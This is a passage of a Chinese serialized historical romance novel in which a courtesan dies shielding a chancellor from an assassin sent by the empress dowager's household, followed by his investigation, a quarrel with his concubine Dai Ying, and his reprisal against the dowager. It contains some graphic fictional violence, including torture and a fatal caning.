戴缨打帘进入,就见苏小小坐在堂中间,弹琵琶唱曲儿。
陆溪儿给戴缨睇了个眼色,又看了一眼自己身边的座位,示意她坐过去。
戴缨走过去,坐下,不等她开口询问,陆溪儿急不可耐地说道:“说是老夫人马上要生辰了,请了这位,现下来弹几曲听一听,看看喜不喜欢。”
“还说是新曲,只叫老夫人先听,旁人一概没听过哩。”陆溪儿把声音放得更低,“连隔壁两房都没知会。”
“那你怎么来了?”戴缨问道。
“正巧来上房遇上了,老夫人就让我坐下来听一听。”陆溪儿又说,“老夫人倒是真喜欢。”
戴缨抬眼去看,就见陆老夫人手搭在椅扶上,跟着乐调轻轻叩着,合拍子。
“这苏大家的脾气古怪,她怎么……”戴缨说不出来,苏小小虽是贱籍,却眼高于顶,就连那些个王公贵族,她都不一定放在眼里。
想到这里,戴缨眼神一晃,天爷!她怎么把这茬给忘了!
苏小小倾心于陆铭章,为见陆铭章一面,费了多少工夫。
戴缨看着苏小小的侧颜,不得不说,这位苏大家是个极其有吸引力的女子,先不说外貌,只听她的唱腔,就能牵动人心,不分男女。
再观其面貌,不是浓妆艳抹的姿容,而是一种淡雅的清丽,眉目隐含忧愁,像是……傍晚时分,天际快要收起的辉光,粲然却散着冷意。
正在她思忖间,乐曲停了,陆老夫人开口道:“缨丫头,你又在想什么。”
因着这一声,苏小小转头看向戴缨,神色淡淡的,见戴缨看过来,抱着琵琶站起身,缓缓施了一礼。
戴缨同样回了一礼,然后走到老夫人身边。
“我让人叫你来,你却磨磨蹭蹭,错过了苏娘子的好曲,怨不得我。”老夫人
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说道。
不及戴缨答话,苏小小微笑道:“若是老夫人爱听,小小可再弹一曲,或是戴娘子喜欢听什么曲目,直接点来。”
陆老夫人挑了挑眉,指着戴缨问苏小小:“我还什么都没说,你怎么认得她?”
陆老夫人见苏小小似是认得戴缨,且直接唤出她的姓氏,便问了一嘴,两人从前是否认识?
“老夫人怕是忘了,苏行首中秋献艺的那一身纱衣就是出自我那铺子,从前我同您说过来着。”戴缨笑道。
陆老夫人恍然道:“是了,是了,想起来了。”
这位苏娘子虽才艺双绝,身份却是有些上不得台面,她对这女子没有意见,相反还很欣赏,但一码归一码,听她熟络地唤戴缨,心里仍不免一凝。
就怕缨丫头不知轻重同这些青楼姐儿们有牵扯。
陆老夫人刚才紧绷的态度,戴缨察觉到了,苏小小这般聪敏之人又怎会感知不到。
她微微敛下眼皮,嘴角带着浅浅的弧度。
戴缨走到陆老夫人身侧,先看了一眼苏小小,再转头看向陆老夫人,笑道:“苏大家唱了这会儿想是也乏了,阿缨带人下去喝喝茶,吃吃点心。”
陆老夫人“嗯”着应了一声。
出了上房,陆溪儿没有随在一起,她是个坐不住的,适才误打误撞到上房来,听了几首曲,又找不着借口离开,好在戴缨来了,把她解救出来,从上房一出来就回了自己院子。
“苏行首,要不要到园子里走走?”戴缨问道。
苏小小往戴缨面上看了一眼,应了一声“好”。
精心修剪过的矮灌木笼成逶迤小径,不远处是亭台水榭,偶有衣着鲜丽的丫鬟和扮相齐整的小厮,从长廊穿行而过。
行于小径上的两名女子,个头差不多齐平,且皆是一身轻衫罗裙。
“叫你笑话了。”苏小小打破沉静。
“笑话什么?”戴缨问道。
“先前那次……”苏小小没有往下说。
戴缨明白过来,苏小小指的是中秋前夕,让她帮忙引陆铭章观她献艺一事。
“苏娘子误会,那会儿阿缨只是客住于陆府,同大人并无多少瓜葛。”
苏小小笑了笑,眉目间传出来的意思,显然是不信的。
“陆相公对戴娘子一定很好罢?”苏小小问道。
戴缨想了想,并不否认:“大人是个不轻易有脾气之人,行事温肃,他这样的人……谁跟了他,都不会差。”说到这里,又是一笑,“就是过于稳沉,猜不透他在想什么。”
苏小小也跟着笑了,情绪有了微妙的变化:“猜不透才是对的,陆相公行得是关乎家国的要事、秘事,不是常人能料想的。”
戴缨稍稍侧目,视线在苏小小的面上停了一瞬。
初时,她见这位青楼女子,给她的感觉是傲然,不好亲近,却也不是自视甚高的无礼,倒像是挣脱不出的破罐子破摔。
刚才于上房,她再看她,竟像换了一人,没了傲气,通身上下透出一种说不出来的……悲意?
第140章 沉溺眩晕
当戴缨谈起陆铭章时,这位苏娘子是陌生的,纯粹的,是一个褪去所有响亮名头的普通女子。
干净,美好,像水一样。
她不知道自己为什么将干净一词放在她身上,就是觉着这女子内心纯粹而干净,像水。
只是可惜,苏小小不是山涧的清流,而是装在青瓷盏中的一汪,虽不能自由来去,却保留了本质的无杂无垢。
“戴娘子莫怪,小小刚才说的那些话出自真心。”苏小小接下去又道,“小小虽倾慕陆相公风仪,却也自知轻贱,此生不敢……有半分逾越之想。”
只盼他能看一眼,哪怕一眼呢……
戴缨倒是被苏小小诚恳的态度给惊了一下。
“怎会同你见怪,我倒觉着你说得很对,他那样的人,家国为首,不是我等可以揣度,其实……”
戴缨停了一下,将一句“也许我并不很懂他”咽回,没有吐露出来,准确来说,不是“不懂”,而是理解不了,因为她和他是两类人。
家国第一,任何人不能动摇他坚守的根本和大义,而她的生存法则,随风而动,向阳而生。
不过好在她和他的差异化从未有过碰撞,自然也就两下相安。
在戴缨思忖时,苏小小回看向过去,问道:“陆相公平日公务缠身,不常在府里?”
“大人常常晚归,前些时候还好,有时午后便回了,但这段时日又忙起来,归府时几近夜里。”戴缨发现只要提起陆铭章,苏小小的面上就有光亮。
她不是什么大度之人,更是个俗人,譬如上次撞见赵映安同陆铭章共处一室。
那会儿她心里酸成什么样了,虽然当时,她的第一反应是自己撞破了“**”,会不会被灭口。
在惧意褪去后,才有了一个人该有的正常反应。
可对于苏小小,她过于关心陆铭章的问话,在任何人听来都是冒犯和越界,可戴缨却生不出酸意。
因为她清楚苏小小没有威胁,她的身份注定这辈子和陆铭章不会产生任何交集。
不说陆家这种世家大族,就是普通权贵之家,叫苏小小前去唱曲献艺可以,再就没有什么了。
以陆铭章这人的性格,绝不可能同一青楼女有半分沾染,所以当苏小小问及有关陆铭章的日常琐碎,戴缨略略回答了几句。
午时的太阳已经有些刺眼,两人又走了一会儿,进到水榭歇脚。
湖风吹来,碧清的水面漾起波纹,阳光散落,如同满天星光坠入湖水,远处的柳丝轻拂着水面,搅碎金光,几尾锦鲤在莲叶间嬉游。
“相爷从前常去福兴楼闲坐。”苏小小见戴缨疑惑地看向她,解释道,“丽春院就在福兴楼对面。”
“那时,我常常候在窗前,陆相公在二楼平台坐多久,我就在窗边看多久,他离开,我仍看着,好像他还坐在那里,又或是等他回头。”苏小小眼睛望着湖面,轻声道,“后来,他就不去了。”
戴缨曾问过陆铭章,平时那样忙,就不能偷闲?陆铭章告诉她,他于福兴楼吃酒、喝茶,就是在偷闲。
再后来他不怎么去了,她怎么知道的呢,因为这人闲下来的半日会在府中陪她。
戴缨无法理解,苏小小同陆铭章可以说是毫无交集,何来如此深刻的倾心?
就拿她自己来说,她与陆铭章的伊始,源于一场走投无路下的交易,那会儿若有其他选择,她决不会走入那条雨巷。
她求他,他应了,同一时,她将自己托付与他。
陆铭章若想对一女子好,那女子多半是无法招架的,这一点戴缨十分清楚。
在她还客居于陆府那会儿,她同他走得近一点,又或是他对她稍有不同,她的心便有些不可控,像是怕他对她特别,又想让他对自己特别。
一个有身份,有地位,还很年轻,姿貌也经得住打量和挑剔的权臣高官,这一层一层的加码,足以让人眩晕。
但是,陆铭章甚至可能连苏小小见也没见过,却叫她沉溺至此。
苏小小行走于青楼,最善察言观色,自是看出了戴缨心上所想。
“不怕娘子笑话,小小所求,从非善终,就想来一场没有结果的风花雪月,又或是只求一个浓烈而短暂的刹那。”
戴缨喃喃出声:“浓烈而短暂的刹那?”
“那一日,小小见戴娘子同相爷在二楼笑闹,一直以来支撑自己的,彻底虚无了。”
“我甚至奢望相爷侧目看一眼,知道有我这么一粒浮尘,哪怕挥挥手,拂开……”
说到后来,这位苏大家更像在自言自语:“奴见他,孤坐在那,总不说话,即使飘着小雨,他也不移步,仍是坐在那儿,奴以为,他需要一个懂他之人,需要一个解语花,替他递酒温杯。”
“直到那日我才发现,原来不是……他不需要人懂他,他需要的是……”苏小小看向戴缨,“他需要的是,将他从高处拉下来,回到尘间的……”
尾音拉长,没说下去,戴缨好奇地问道:“怎么不说了?”
苏小小婉儿一笑,俏皮地来了一句:“不可说。”
戴缨先是一怔,见她笑出声,也跟着礼貌性的笑了笑。
当晚,戴缨没有早早睡去,而是等到深夜时分陆铭章归来,她知道他并非现在才回,而是一直在前院的书房理事。
“怎的还未睡?”陆铭章从桌上倒了一杯茶,往里间望了一眼,见戴缨靠坐于床头。
等他走到里间,她才开口:“今日那位苏娘子来府上了。”
“苏娘子?”陆铭章反问了一声。
“就是丽春院的苏大家。”戴缨又道。
陆铭章入到帐间,“嗯”了一声。
“大人就不问一问?”毕竟,当时苏小小使出浑身解数就为见陆铭章一面,而陆铭章的这一声“嗯”,有些过于平静。
“问什么?”陆铭章突然悟过来,问了句,“老夫人可喜欢听?”
戴缨眨了眨眼,这什么跟什么,她说的是苏小小,陆铭
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章却理解成另一个意思。
罢了,罢了,只能替苏小小惋叹一声,她那一腔虚无缥缈的怅惘终是自己赋予了轰轰烈烈的浪漫底色。
因陆老夫人喜欢听曲,接下来的时日,苏小小间或来过几次,顺便把生辰那日的曲目定下了。
戴缨心想,苏小小每来陆府一趟,心里必是盼着同陆铭章偶遇,然而很可惜,一次也未遇见过。
因着欲出访罗扶,陆铭章身兼要职,常常忙到很晚才归来。
不过,在陆老夫人生辰宴那日,她终是让他看见她了,且,不仅仅是看见这么简单……
这日,陆府老夫人生辰,京都所有显贵携家眷拜访庆贺,其间有陆铭章的同僚,下属,就连皇帝和太后也遣派宫监登门赐贺礼。
陆府正门前车马簇簇,热闹不已,小厮们于阶下接引各位前来道贺的宾客。
陆家内园更是张灯结彩,丝竹管弦盈耳。
因是老夫人生辰,陆铭章整个下午都在上房陪同,直到晚些时候,他才去前面。
晚宴未开前,上房坐满了人,老夫人稳坐正中,其左手坐着三房老夫人袁氏,右手边坐着曹氏,堂下坐着各房女眷。
陆婉儿也回了,并不坐在陆老夫人身边,而是同陆溪儿几个小辈坐在一起。
满堂的欢声笑语不绝于耳,曾经陆婉儿也是她们中的一员,如今却游离在外。
待到开宴时,园中早已摆设好大大小小的席面,陈列各类精细菜馔和美酒。
先上前菜,接着是烧鹿肉、鲜炸羊肉等大菜,再是主食、应季鲜果,还有蘸料虾蟹,最后上甜品和小食。
宴客分男宾区和女宾区,两方隔得不远。
用罢晚宴,便是陆府请的梨园戏班和百戏演艺。
众人移至亭台水榭处,夜幕四合,廊檐高挂彩灯,水面倒映着一条条光影,风中送来若有若无的清香。
亭台宽阔,临湖而建,各家女眷们列坐于陆老夫人身侧,一溜往下排开,之后才是男子们的席位。
陆铭章率陆家一众男子先到陆老夫人跟前贺了生辰,而后纷纷退下,陆铭章位坐于男席之首。
众宾客前摆着小几,几上放着醒酒香饮。
接着,丝竹声起,光聚处,只见一女子斜抱琵琶,拨弄冰弦。
众人凝目去看,这美貌女子不是别人,正是丽春院的苏小小,只见她乌发鬟绾,鬓间簪着颤颤珠翠,端的是粉妆玉琢的月下人。
几个吹拉弹唱的伶人环于四围。
再听她朱唇轻启,音出天然,一时婉转轻慢,一时又如流莺扬起,让在场众人无不沉醉其中。
戴缨陪侍于陆老夫人身侧,目光往下扫去。
苏小小坐于堂中央,陆铭章的席位离她不远,就在她的斜前方。
戴缨把目光流连于这二人,可以说,苏小小的目光就未从陆铭章的面上移开过。
陆铭章呢,目光不经意地掠过苏小小,只一眼,便收回,眼帘低垂,不知想在什么……
第141章 他的劫
戴缨见他这般情状,便知他的思绪早已神游物外,全然不在眼前的歌舞升平之上。
每每沉思公务,他的眉头便会不自觉地微微蹙起,此刻正是如此。
而那苏小小不知是不是因着陆铭章紧锁的眉头,以为自己招了他的不喜,心下一慌,指法骤然偏离,一个音符突兀地错了位。
而这错位的音符,引得陆铭章抬起头,又往苏小小面上不轻不重地扫了一眼。
好在曲调已近尾声,这一小小的失误,不是很懂音律之人,听不出来,很快一曲罢,苏小小退下。
接下来,便是女先说书。
再之后,到了杂耍百戏,先前苏小小清歌曼妙、女先舌灿莲花,虽则雅致,却终究不及百戏杂耍的热闹来得直接痛快。
当那些吞刀吐火、套索登竿的艺人一上场,满堂宾客的精神无不为之一振。
幻术师袍袖一抖,凭空抓出满把彩蝶,引得女眷们轻呼,再有筋肉虬结的力士,相扑角力,步伐沉猛。
满堂目光皆被吸引,欢声雷动,谁也未留意的一处角落,一名抱着彩罐,看似寻常的杂耍艺人,眼中无半分笑意。
陆铭章坐于男席首位,目光淡淡地投于虚空,并未注意场上的精彩。
而后,抱着彩罐的杂耍艺人上场,只见他将手伸入罐中,正要来一出“百鸟朝凤”。
然而变故陡生,其手法骤然一变,从罐中掏出的并非鸟雀,而是一把**。
那人目的明确,在众人还未反应过来时,直直朝陆铭章的胸口精准无误地刺去。
这一刺,只要入肉,陆铭章必死。
场上设有护卫,然而那人速度太过迅猛,去势之疾,角度之刁,显然是谋划已久。
一直近身随护陆铭章的长安,被拨到了戴缨身侧,陆铭章这方全没一点防备。
戴缨两眼大睁,甚至来不及叫喊出口。
陆铭章眼看着那冒着寒光的**在眼前一点点放大,时间拉长,一切都慢了下来。
他甚至觉着自己的灵思从肉身抽离,成为一个旁观者,冷眼看着自己被刺杀的过程,且看得十分清楚。
**没入肉里,温热的血喷溅到脸上,然,这不是他的血。
护卫们一齐涌上,将那人制伏。
水榭众人开始乱了,慌了,陆老夫人脸色惨白,抓着戴缨的手不放,接着反应过来,让她去看看陆铭章是否安好。
戴缨穿过慌乱的众人,穿过那些嘈杂的声音,急急跑到陆铭章身边。
眼前的一幕让她无法动弹。
他的怀里抱着一女子,正是苏小小,她嘴里不停地冒着血沫,胸口亦往外沽着血,浅色的薄衫被血洇染了一大片。
自陆铭章入场,苏小小的目光便未曾真正离开过他,在所有人没反应过来时,她冲到他身前替他挡下这绝命一刺。
“找大夫!”陆铭章朝下**声喝道。
苏小小艰难地探出手,揪住陆铭章的衣袖:“陆相公……用命换你一眼,值得……”
说罢,她将看向陆铭章的目光缓缓移到戴缨身上,张了张嘴,声音低不可闻,哪怕靠她最近的陆铭章也没听明白,她嘴里说的什么。
但戴缨听清了,识出了她的口型。
她说:“他需要的是……将他从高处拉下来,回到尘间的……劫……”
“劫”字的尾音还在震颤,血气散在微凉的空中,身体尚存一丝柔软的温度。
然而,那一双凝向戴缨的眸子,却在这句话之后,一点一点地,熄灭了所有的光彩,空洞,虚浮,彻底涣散,最后归于死寂。
一场夜宴,**一个青楼女,在权贵云集的京都城,激不起半点涟漪,根本无人在意。
这件事却让戴缨和陆铭章两个品性截然相反的人,有了首次激烈的对撼。
彼边宝宁殿……
“什么,**!”赵映安怒问。
女官静雨也没料到,那女伎竟做得这样绝,拿命去挡。
那日,她找上苏小小,让她在陆老夫人生辰宴那日进府献唱,然后“适时”地替陆铭章挡下刺客一击。
女子舍身相救,远比英雄救美更易触动人心,届时,陆铭章感念恩情,必将她接入府中照料。
静雨料定这乐伎不会不答应,相反,她会极为配合这一场表演,果然,都不必言语威胁,苏小小想也不想地就应下。
苏小小,丽春院的头牌,若不是中秋献艺后,特去樊楼求见陆铭章,最后因见不着人,在楼外候等不走,谁人能知她还有这样胆大包天的心思。
静雨本意只是做戏,特意嘱咐刺客掌握分寸,倒不是心善手软,而是需要一枚棋子替太后长久地留在陆铭章身边。
既在陆铭章身边安插了眼线,又借此“恩情”离间了他同戴缨的关系,那么这场刺杀的目的就达到了。
只是,人算不如天算,万没想到出现纰漏,苏小小**,要么刺客临时变卦,这个可能性不大,刺客是她们养的死士,信得过。
再不然就是苏小小自己寻死。
可她为何要寻死,此事若能成,不正全了她的痴念?
然而静雨不会知道,苏小小倾慕陆铭章,也一直想让他知晓有自己这么个人,可比起这个,她不想自己对陆铭章的痴意被利用,更不想让陆铭章讨厌,绝不允许。
虽然她不知幕后之人是谁,却深知自己惹不起这人,从那人找上她,她就没有拒绝的资格,只能应下。
于是将计就计,利用这样一个契机,让自己的死在陆铭章心头留下一笔,于她而言,这便够了。
赵映安气得将桌上的茶盏挥落在地,摔得粉碎,咬牙道:“一个青楼的贱籍安敢坏我大事!”
本是气急败坏,不知想到什么,脸色突然煞白:“那刺客的嘴严不严?”
“太后放心,都是死士,扒筋抽骨也不会开口。”静雨说道。
赵映安这才叹出一口气:“如此
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好的机会,那贱奴好不识抬举!”
因着此事没成,赵映安接下来不敢再有动作,否则陆铭章必会怀疑到她的头上。
……
彼边,阴湿的牢狱,刑架上用铁锁钩挂着一黑糊糊的物,眯眼细看,才发现那是一个人。
若不是胸口还有几不可见的起伏,会以为他是个死的。
污黑的墙壁有一方透光的小窗,四四方方,说是窗,不如说它就是个通气口,透进的光只能让狱中达到可见的程度。
阴湿的墙壁上凝结着水珠,缓缓滑落,混着暗红的血迹,在凹凸不平的地面积成一小滩污浊,空气中弥漫着霉味和浓重的血腥气。
刑架上钩挂之人已是奄奄一息,乍一看,像是待市上兜卖的死肉,浓腥的血气往人鼻子里钻。
他的身体被铁钩穿透肩胛,悬在半空,四肢以不自然的角度扭曲着,裸露的皮肤上没有一寸完好的地方,布满了纵横交错的鞭痕和烙铁的印记。
深可见骨的伤口处,鲜血仍在缓慢地渗出,只有偶尔抽搐的肌肉证明他还有一息尚存。
刑架前的桌案摆着各类沾血的刑具,铁钩、烙铁、皮鞭、钢针……
“这人已经不行了,逼问不出什么。”私卫说道,声音在阴湿的牢房里显得格外沉闷。
长安“嗯”了一声,哪还有平日的温和模样,走到摆满刑具的桌子前,随手挑了一件利器,再近到刑架前,扬手一挥,干净利落地了结了那人的性命。
转身出了这方牢狱。
陆铭章在听到这个消息时并不意外。
“应是特意训练的死士,撬不出一句话。”长安说道。
陆铭章点了点头:“去查查丽春院,苏小小此前和什么人接触过。”
“阿郎是怀疑苏小小?”长安疑惑,那女子替阿郎挡了一击,为何怀疑到她的头上?
“当时全场的护卫包括你在内,都未能及时反应,她却能及时出现在我身前,如同提前知晓一般,有些蹊跷。”
陆铭章仔细回忆昨夜的情形,那刺客真要杀他,那女乐也是挡不住,刺向他的**似是有一瞬的迟疑,像是在等。
长安领命应是,派了手下张九前去查探。
丽春院这类地方,人员流动大,每日接待的客人很多,但苏小小不是普通女妓,想要见她,并不容易,需特意通传,只有她本人点头,方能见上一面。
是以,从苏小小身上入手追查,线索清晰很多。
不肖半日,张九便得知了前些时确有一人找过苏小小,不过当时屋里的情形旁人无从得知,只有苏小小身边的小丫头守在门外。
再问那小丫头,她也是个糊涂的,只说来人是个女子,头身罩在袍子里,至于屋内两人的对话,再问多一点,她就不知道了。
“哦,对了,对了。”小丫头突然想起一点,“她身边还跟着两人,那两人……”
张九追问:“那两人如何?!”
第142章 他的痛苦和挣扎
张九见小头似是想起点什么,赶紧追问:“那两人如何?”
小试头想了想,说道:“那两人也是女子。”
“你……”张九以为能问出个什么,结果什么都没问出,正准备无功而返时,小丫头叹了一声。
“从前那样风光的一人,如今说没了就没了,除了傅娘子,没一个人真正关心她的,楼子里的管事急吼吼的就要把她的屋清出来,不值钱的玩意儿能丢就丢,说是嫌晦气,不能丢的也变卖……”
小丫头仍是絮絮说着,脸上尽是对旧主的不舍。
娘子只是脾气有些古怪,待她们这些最低一等的奴儿却好,从不苛责什么。
张九捕捉到一点信息,问道:“傅娘子?”
“是啊,红袖管的傅行首,傅娇儿。”小丫头又道,“前些时候,她二人还在一起吃茶闲话。”
放眼整个京都,谁人不知三大青楼间竞争激烈,其中丽春院和红袖馆更甚。
而这两个楼子坐镇的行首,一个丽春院的苏小小,一个红袖馆的傅娇儿,这两人更是到了势如水火的地步,都想压对方一头。
现下听此一说,不免叫人吃惊,张九一刻不敢耽误,转身就去了红袖馆,找上傅娇儿。
“苏小小生前来找过你?”
傅娇儿同苏小小正好相反,娇艳玲珑,面对张九的盘问,她一开始并不配合,直到张九表明自己是陆家人,她才说了一些事。
“是来找过我,她这人,脾气怪,没什么朋友,三句话里,两句讥讽。”傅娇儿说道,“也就只有我同她能说上几句。”
“她可有同你说过什么?”张九问道。
傅娇儿想了想,说道:“那日她来找我,以为她要在我面前炫耀,因着我去了宣平侯府,而她托了陆三爷的关系进陆家献唱,谁知不是。”
“而是说了些无关紧要的话,但这些无关紧要的琐事听着像是在交代遗言。”傅娇而叹了一声,“我见她样子不对,便追问是不是发生了什么事。”
“她怎么说的?”
“也没说什么,只说前些时候有人来找过她,想让她做些违心的事,那些人她惹不起,只能应下。”
“可有告诉你,是什么人?”张九追问。
傅娇儿摇了摇头:“没有,我问过,她自己也不知道,但自那之后,她说总有人跟着她。”
问了一趟下来,仍是半点有用的消息也未问出,且通过傅娇儿说的这些话看来,连苏小小本人都不知自己被什么人操控。
这可如何是好,查到这里又断了,他怎么回去交代。
正在烦躁间,傅娇儿“啊”了一声:“想起来了,想起来了……”
鉴于先前的经验,张九以为她会同丽春院的小丫头一样说些无用话。
谁知傅娇儿接下来说了一句:“她说……来找她的那女子被另两名女子唤……姑姑……”
张九回了陆府,把探得的消息带了回去,长安得了消息,又把这些话转知于陆铭章。
陆铭章听后半日没言语。
“行了,我知道了。”
长安见家主这个语气,知道他心里已有了定数。
……
因着昨夜的事,陆老夫人受了惊吓,戴缨便歇在了上房,直到次日中午,随老夫人用罢午饭才回一方居。
七月将戴缨迎进屋里,见她眼下有些发青,想是昨夜没有好睡。
“姨娘可要再困一会儿?”
“不必了,大人呢,在府里么?”戴缨问道。
“大爷也是一夜未归院子,不过适才婢子问了,人在前面书房。”
戴缨点了点头,带着丫头往前院去了。
距昨夜那场慌乱,不过一夜,两人再见,一时间不知要说些什么。
“大人昨夜可有伤着?”
这是戴缨问的第一句话。
“没有。”陆铭章回答。
“那位苏大家……”戴缨又问。
陆铭章从案后起身,经过她,坐到另一边的茶案后:“已叫人为她安排后事。”
戴缨跟了过去,想了想,问道:“可有查出什么?”
陆铭章执壶的手一顿,说道:“左不过政敌寻仇,从前也不是没有过。”接着又道,“府里已增了人手,不必担心。”
话音落,对面没了声音,陆铭章抬眼去看,就见戴缨直直地看着他,眼中情绪难辨。
“怎么?”陆铭章探出手,试图把她蹙起的眉心抚平。
谁知戴缨把头一偏,声音微冷:“大人为何不实言相告。”
陆铭章收回手,面上的神情跟着肃下来:“你想说什么?”
“哪有什么政敌报复,分明是宫里那位……”戴缨脱口而出,同陆铭章不同,她对事物的判断,不讲依据,只凭直觉,没由来地就觉得此事同赵映安脱不离关系。
陆铭章将她的话截断:“你从哪里听来的?”
“需从哪里听来么?妾身不是没有脑子,稍一想就能知道,太后看不惯我,便想同前两次那样,害人性命。”戴缨反驳道。
陆铭章点了点头,问:“好,既然你心里已有认定,那你说说看,你这么认为的理由,为何那刺客不对你下手,反而刺向我?最后还牵扯出一个青楼女乐?”
戴缨答不出。
陆铭章又道:“既然你的脑子那样聪明,我再问你,就算最后知道了幕后之人,又能怎样,为着一个青楼女乐去杀了那人?”
为了一个青楼女杀了当朝太后,这话谁人敢说?这事谁敢做?
戴缨也知道这事不可能,可事情并不是这样:“可昨晚刺客要伤的不是女乐,而是大人。”接着又道,“您开口闭口青楼女乐,是不是她们的身份就决定了她们该死,又或是**也就**,不值得费心,不值得追责?”
“是她救了大人的命,不论这其间有什么勾当,她真真正正拿自己的身体挡在大人跟前。”
陆铭章低下眼,没有说话,最后缓缓道出:“我有我的难处,大衍不能没有皇帝,而皇帝……不能没有生母……”
戴缨怔着,整个人如同浸在凉水里,没有刺骨的痛,却浑身上下都不舒坦。
他心里分明清楚,这件事的幕后主使之人就是赵太后,他不可能不知道,他是谁,他是陆铭章
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。
“若有一日,太后派人害我性命,大人是不是也打算就此揭过?”由此及彼,戴缨终是问出了口,突然有种兔死狐悲之感。
“胡说什么。”陆铭章声音透着不快,“你不会有事。”
“是么?”戴缨明显不信,在陆铭章心里,家国第一,皇城里,宝座上的母子也是家国的一部分。
是以,陆铭章维护的不仅仅是这个国家,还维护这个国家的皇权。
“大人不要避开,回答我,如果有一日,阿缨命丧太后之手,你待如何?是替我讨回公道,还是为太后遮掩恶行?”
戴缨凄凄地笑了一声,是了,是了,前一世,陆婉儿给她灌堕胎药,陆铭章这个做父亲的一定是清楚的,后来呢,陆婉儿什么事也没有,必是他在背后袒护纵容!
对他而言,她不过是谢容的侍妾,别说打掉一个孩子,就是被陆婉儿害**又能怎样,他还得替陆婉儿平事,把这笔给抹除。
不待陆铭章回答,戴缨站起,一字一句说道:“我错了,以为自己在大人心里是不一样的,可笑地盼着大人给我个正妻之位呢,现在一看,上头还有一尊真佛压着,妾身活不活得到那个时候都不一定……”
如今的她不过一个无足轻重的妾室,赵映安都容不下她,哪还敢肖想正室之位。
也就是说……只要赵映安这太后当一日,她就别想有任何指望。
说罢,头也不回地奔出了书房。
戴缨离开后,陆铭章坐在那里一动不动,沉着脸,袖袍猛得一扫,将桌上的茶器拂落在地,碎响之后是死一般的静寂。
这辈子,他本不打算有私情,然而戴缨出现了,她的出现对他来说是“意外”。
他抬举她,宠她,给她足够的自由,但前提是她不能动摇他的根本信念和坚持,如果二者有了冲突,他的痛苦和挣扎将极为剧烈。
先时他有想过,日后不设正妻,免她受屈,名分便形同虚设,没有孩子,他们可以把崇哥儿当自己的孩子,也是一样。
然而,那日她问他,愿否将她扶为正头娘子,也不知道想到什么,自己在那儿笑得开心。
她喜欢孩子,是真的喜欢,她对崇哥儿那样爱,这一切让他的那些预设有了动摇。
立于门外的长安将刚才的对话听得清清楚楚,而刚才的碎响,不用看也知道发生了什么。
这还是头一次,他见阿郎失态,从前那样一个喜怒不形于色之人……
……
正值午后,赵映安欲要小憩。
自陆家夜宴已过去两日,她担心了两日,就怕陆铭章查到她的身上,虽说笃定陆铭章不能真将她怎样,但仍是忌惮着。
然而两天过去,风平浪静,什么事情也没有,就在以为能安然过去时,殿前卫不待传召闯入宝宁殿。
如黑色的潮水般无声涌向殿内各处,接管了所有门户与角落,整个过程迅捷、肃杀,没有一句多余的言语。
“谁许你们进来的?!”静雨怒喝一声。
话音还在阔大的殿宇荡着,殿前卫分列两侧,从中走出一人……
第143章 离别
殿前卫分列两侧,让出道来,从中行来一人。
宫侍们见了,骇得立刻跪伏在地,屏息不敢动。
端坐在殿中的赵映安脸色像新粉的墙面,白得没有一丝血色,双眼紧紧盯着来人,梗着脖,故作镇定道:“陆相如今入宝宁殿,连通报都省了么?”
陆铭章一步一步走来,往后一招手,殿前卫重重地将殿门合上,把光拦在了外面,殿内遽然暗下来,冷下来。
“陆相这是做什么?”赵映安努力维持镇定,然而她的声音却是紧绷,鬓间的珠翠在身体的极力控制下,颤晃着。
陆铭章踱步到赵映安跟前,两眼低低睨向她,没有一句废话,单刀直入:“臣,来告知太后两件事。”
“一,从此刻起,您需在宝宁殿静养,外间风雨,不必再听,也不必再过问。”
陆铭章的声音不高也不低,却被阔大的殿宇放大,像从很远的地方而来。
“你要软禁本殿?!”赵映安声音尖利。
陆铭铭根本不理她的质问,继续道:“为免太后被身边宵小蒙蔽,臣不得不行此下策,为太后……清一清宝宁殿的风气。”
说着将目光转向立于赵映安身边的女官。
静雨扑通一声,重重跪于地面,不及她叩头讨饶,一旁的殿前卫上前将她拖到殿中,又有殿卫置好长凳,将她压伏于凳面。
这一过程,静雨没有反抗,她知道今日这一劫逃不过,然而,陆铭章接下来的话,叫她发了疯一般地挣扎起来。
“去衣,杖责,打!”
“不——”
静雨狼狈地从殿卫手下挣脱,跑到赵映安身侧,抱着赵映安的腿,满脸泪痕,哀求道:“太后救救婢子,太后救婢子。”
最后又膝行到陆铭章脚下,哭求:“相爷,静雨错了,静雨错了,从前您去赵府,婢子还给您看茶来着。”
此时的赵映安怕了,她是真的怕了。
她将眼珠一点一点生硬地移向陆铭章,似是有些不确定,那个儿时为她种下葡萄,少时立于阶下,用干净且不自信的清音,问她要不要随他离开的阿晏和前眼之人是同一人。
眼中雾了泪,他的身形分成两个,怎么也合不到一处。
“阿晏……给她留一份体面罢,就当给我留个体面……”
陆铭章看向赵映安,冷声道:“太后说哪里的话,您的体面微臣给不了。”
一语毕,殿卫上前,将那女官拖回殿中的长木凳上,不过陆铭章没让去衣杖责,而是直接给令,杖刑。
第一杖落下时,只有一声闷哼,当第二杖分毫不差地重重打在上一杖的位置时,凄厉的惨叫响遍大殿。
接着,第三杖,第四杖……落下的不再是木板,而是烧红的烙铁,每一记都带着皮开肉绽的闷响。
赵映安看不下去,她从未见过这样多的血,人怎么会有这么多的血。
她欲起身离开,却被身边的陆铭章压下:“你坐好,看清楚,你手上的罪孽,可不比刑场上的干净半分,既然做了,就该有胆看下去。”
不知杖了多少下,闷沉的声音还在响着,其中一殿卫停下手中的杖棍,往女官鼻息下探了探,朝上报知:“大人,没气了。”
陆铭章走到殿中,声音再起:“今日之事,尔当引以为戒,侍奉太后当恪守本分,谨言慎行,如不然,此人便是你们的前车之鉴,可听到?”
殿中宫侍哪敢不应,纷纷应是。
接着,陆铭章又道:“太后凤体违和,需长久静养,为免外界滋扰,宝宁殿一应事务由殿前司接管,任何人不得出入,望太后……安心颐养,勿再劳心劳神。”
宝宁殿今日所发生之事,或多或少传出了些,然,众官也只能私下激愤,拿陆铭章没办法。
宰相余信私下召集对陆铭章有怨言的文员,一齐向幼帝**,控诉陆铭章如何大逆不道,如何欺君惑主。
年幼的衍帝坐于上首,脸色白得有些不正常,听说后,只问了一句:“依宰相之言,该当如何?”
余信听了又说不出个一二三,最后支支吾吾道出:“臣以为,不如罢黜此人职务……”
不待余信说完,衍帝“嗯”了一声,以稚嫩的声音说道:“既是宰相之意,此事便交给余大人去办了。”
余信彻底傻了,皇帝叫他拿办陆铭章?
然而不及他回神,年幼的衍帝又追说了一句:“对了,大人莫要忘了,把陆相拿下后,出访罗扶的位置空下来……由余大人替上。”
